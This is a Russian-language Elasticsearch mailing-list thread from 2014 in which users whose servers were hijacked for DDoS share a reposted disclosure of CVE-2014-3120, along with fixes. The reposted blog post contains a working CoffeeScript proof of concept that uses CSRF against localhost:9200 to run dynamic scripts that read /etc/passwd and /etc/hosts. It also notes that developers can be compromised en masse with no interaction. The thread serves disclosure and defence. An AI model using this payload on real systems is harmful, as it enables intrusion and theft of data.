Уязвимости в ElasticSearch, позволяющие его использовать как генератор DDoS трафика

599 views
Skip to first unread message

Антон Титов

unread,
Jul 9, 2014, 5:26:24 AM7/9/14
to elastics...@googlegroups.com
Привет. Хостюсь на Digetalocean. Поднятый на убунте ElasticSearch не провисел и недели, прежде чем вызывал подозрения у них. Вот текст письма:

Hey there,

We are sorry to report that we have detected what appears to be a DDoS attack being launched from one or more of your servers. The most likely result of this email was a vulnerability with Elastic Search (ES).

To shut down this attack, we have disabled the networking interface on the server or servers involved, so further connection would have to be accomplished via the console in our control panel.

...тут ссылка которую вам не стоит показывать...

Please log in at your earliest convenience in order to investigate and remove the program generating the traffic.

Here's a link that we found which explains the ES vulnerability and how to patch it: http://bouk.co/blog/elasticsearch-rce/

Look for the section that says "How to secure against this vulnerability"

Once you are done let us know and we will investigate re-enabling your networking. Keep in mind that even if you redeploy from a snapshot or back your system may still be impacted, so you will need to patch it.

Thank you,
DigitalOcean Support

Ок, вот ссылка, еще раз, на how to и ниже текст страницы:
http://bouk.co/blog/elasticsearch-rce/

Insecure default in Elasticsearch enables remote code execution

May 2014

Elasticsearch has a flaw in its default configuration which makes it possible for any webpage to execute arbitrary code on visitors with Elasticsearch installed. If you’re running Elasticsearch in development please read the instructions on how to secure your machine. Elasticsearch version 1.2 (which is unreleased as of writing) is not vulnerable to remote code execution, but still has some security concerns.

The problem(s)

There are a couple of problems which enable the proof of concept I’m going to present:

  • Elasticsearch has no access roles or authentication mechanism. This means that you have full control over a cluster the moment you connect to it.
  • The API for Elasticsearch is accessible over HTTP and provides no CSRF protection whatsoever.
  • It contains a feature which makes it possible to evaluate expressions as part of a query. An example usage of this feature is to specify a custom scoring function while searching through documents. It uses the MVEL language by default.
  • Up to version 1.2 dynamic scripting (which makes it possible to send scripts to the cluster on the fly) was enabled by default. As mentioned in the documentation, this feature gives someone the same priviliges as the user that runs Elasticsearch. MVEL has no sandboxing at all.

There are no issues up to this point as long as you properly follow the documentation and make sure your Elasticsearch cluster is not available from the outside world. There is one target that isn’t mentioned in the documentation though: The Developer! When you’re developing an application that uses Elasticsearch, you probably have it running on your machine. The default port is 9200 and because there is no CSRF protection any webpage can just connect to the cluster using localhost:9200 as the host.

PoC

The following script will read /etc/hosts and /etc/passwd from a user visiting a webpage and display the contents in the browser.

read_file = (filename) ->
  """
  import java.io.File;
  import java.util.Scanner;
  new Scanner(new File("#{filename}")).useDelimiter("\\\\Z").next();
  """

# This PoC assumes that there is at least one document stored in Elasticsearch, there are ways around that though
$ ->
  payload = {
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {}
  }

  for filename in ["/etc/hosts", "/etc/passwd"]
    payload["script_fields"][filename] = {"script": read_file(filename)}

  $.getJSON "http://localhost:9200/_search?source=#{encodeURIComponent(JSON.stringify(payload))}&callback=?", (data) ->
    console.log(data)
    for hit in data["hits"]["hits"]
      for filename, contents of hit["fields"]
        document.write("<h2>#{filename}</h2>")
        for content in contents
          document.write("<pre>" + content + "</pre>")
        document.write("<hr>")

You can verify whether you’re vulnerable by trying out the above PoC here.

There are many ways to exploit this, you could link the victim to the page or embed it as an Iframe. You can even exploit this by crafting a URL and using it as the src of an <img>, as the only thing that needs to happen is a single GET request. No user interaction required!

Because this is so easily exploitable you can mass-pwn developers with relatively little work.

How to secure against this vulnerability

Add the following line to your elasticsearch.yml to disable dynamic scripting and prevent remote code execution:

script.disable_dynamic: true

You should also make sure that your local Elasticsearch instance is only binding on localhost, as someone could exploit you over LAN without making you visit a webpage if you don’t. The Homebrew Elasticsearch formula does this automatically. This still means you’re vulnerable to the CSRF exploit though!

If you want to be as secure as possible, you should run Elasticsearch inside a virtual machine, to make sure it has no access to the hosting machine at all.

Additional targets

Disabling scripting will prevent code execution, but that still leaves us with the issue of being able to query and administer the instance without limit. A webpage can easily dump the whole database running on your machine, sensitive data included. This is impossible to fix by the Elasticsearch developers without adding authentication or CSRF protection.

If an attacker can figure out the internal address of your production Elasticsearch instance, you’re also open to leaking your production data. If your development machine is connected to a VPN which provides access to your Elasticsearch cluster, an attacker can easily query or shut down your cluster simply by making you visit a webpage.

Hackernews

Reddit

Notes

  • I have reserved CVE-2014-3120 for this issue.
  • This exploit was tested against Elasticsearch version 1.1.1 on MacOSX installed through Homebrew. No configuration changes were made.
  • I notified Elasticsearch through their security report instructions on the 26th of April 2014. They replied they were aware of it, but didn’t intend to do a security release and instead disable dynamic scripting by default in version 1.2.
  • This security issue has been indepently discovered and blogged about on December 9th 2013.

You should follow me on Twitter here

Я сейчас начну активно это изучать и применять, выложил для тех, кто просматривает этот блок и заинтересуется проблемой...

Антон Титов

unread,
Jul 9, 2014, 5:28:38 AM7/9/14
to elastics...@googlegroups.com
Уточню: они залочили виртуалку, я создал тикет, они ответили...

exAspArk

unread,
Jul 10, 2014, 9:49:22 AM7/10/14
to elastics...@googlegroups.com
Аналогичная ситуация была вчера на DO + у знакомых на Амазоне.


Я так понял, из-за открытого порта для внешнего мира и включенного выполнения динамических скриптов в Elasticsearch в версиях до 1.2 были произведены атаки. Это позволяло злоумышленникам получать доступ от имени пользователя, запустившего Elasticsearch. В моем случае появились загадочные файлы в /tmp и было открыто огромное число портов через Elasticsearch. В итоге с использованием этих машин производилась DDoS атака, направленная куда-то в Китай: на DO исходящий трафик достигал примерно 1 гбит/с, на Амазоне — 12 гбит/с.

Антон Титов

unread,
Jul 10, 2014, 11:39:08 AM7/10/14
to elastics...@googlegroups.com


четверг, 10 июля 2014 г., 19:49:22 UTC+6 пользователь exAspArk написал:
Аналогичная ситуация была вчера на DO + у знакомых на Амазоне.


Я так понял, из-за открытого порта для внешнего мира и включенного выполнения динамических скриптов в Elasticsearch в версиях до 1.2 были произведены атаки. Это позволяло злоумышленникам получать доступ от имени пользователя, запустившего Elasticsearch. В моем случае появились загадочные файлы в /tmp и было открыто огромное число портов через Elasticsearch. В итоге с использованием этих машин производилась DDoS атака, направленная куда-то в Китай: на DO исходящий трафик достигал примерно 1 гбит/с, на Амазоне — 12 гбит/с.
Вот по этому я и выложил этот факт сюда. Эта группа на офф сайте elasticsearch.org, люди, которые сюда заходят имеют возможность ознакомиться с этой проблемой. Все на самом деле тривиально и просто, но поскольку в документации лишний раз не упоминается проблема безопасности, многие (в том числе и я) малодушничают и оставляют настройки по дефолту. Теперь не будут, по крайней мере те кто не ленится просматривать топики в поисках знаний...

Igor Motov

unread,
Jul 10, 2014, 7:07:19 PM7/10/14
to elastics...@googlegroups.com

Антон Титов

unread,
Jul 11, 2014, 9:54:00 AM7/11/14
to elastics...@googlegroups.com


среда, 9 июля 2014 г., 15:26:24 UTC+6 пользователь Антон Титов написал:

Вот если кому интересно, скрипт для подымающий эластик и исправляющий биндинги: https://github.com/titovanton/bicycle-factory/blob/master/templates/get_up_ubuntu.sh#L126 
Вот на всякий случай 2 скрипта для настройки правил iptables, на случай если у вас крутится что-нибудь еще супер могучее, но вы что-то не учли в биндингах: https://github.com/titovanton/bicycle-factory/blob/master/templates/get_up_ubuntu.sh#L94
https://github.com/titovanton/bicycle-factory/blob/master/templates/iptables_production.sh

Антон Титов

unread,
Jul 11, 2014, 9:56:46 AM7/11/14
to elastics...@googlegroups.com
по дефолту у меня запускается эластик от имени elastic+, если настроить биндинги, черевато ли наличие возможности динамик скриптов? (у меня там в скрипте вообще 1.1 тянется, но для общего развития)
Спасибо за ссылку на офф доку, но почемуто при серфинге я на нее не наткнулся сам... Мне кажется им следует ее запихать в туториал "getting started"

пятница, 11 июля 2014 г., 5:07:19 UTC+6 пользователь Igor Motov написал:
Reply all
Reply to author
Forward
0 new messages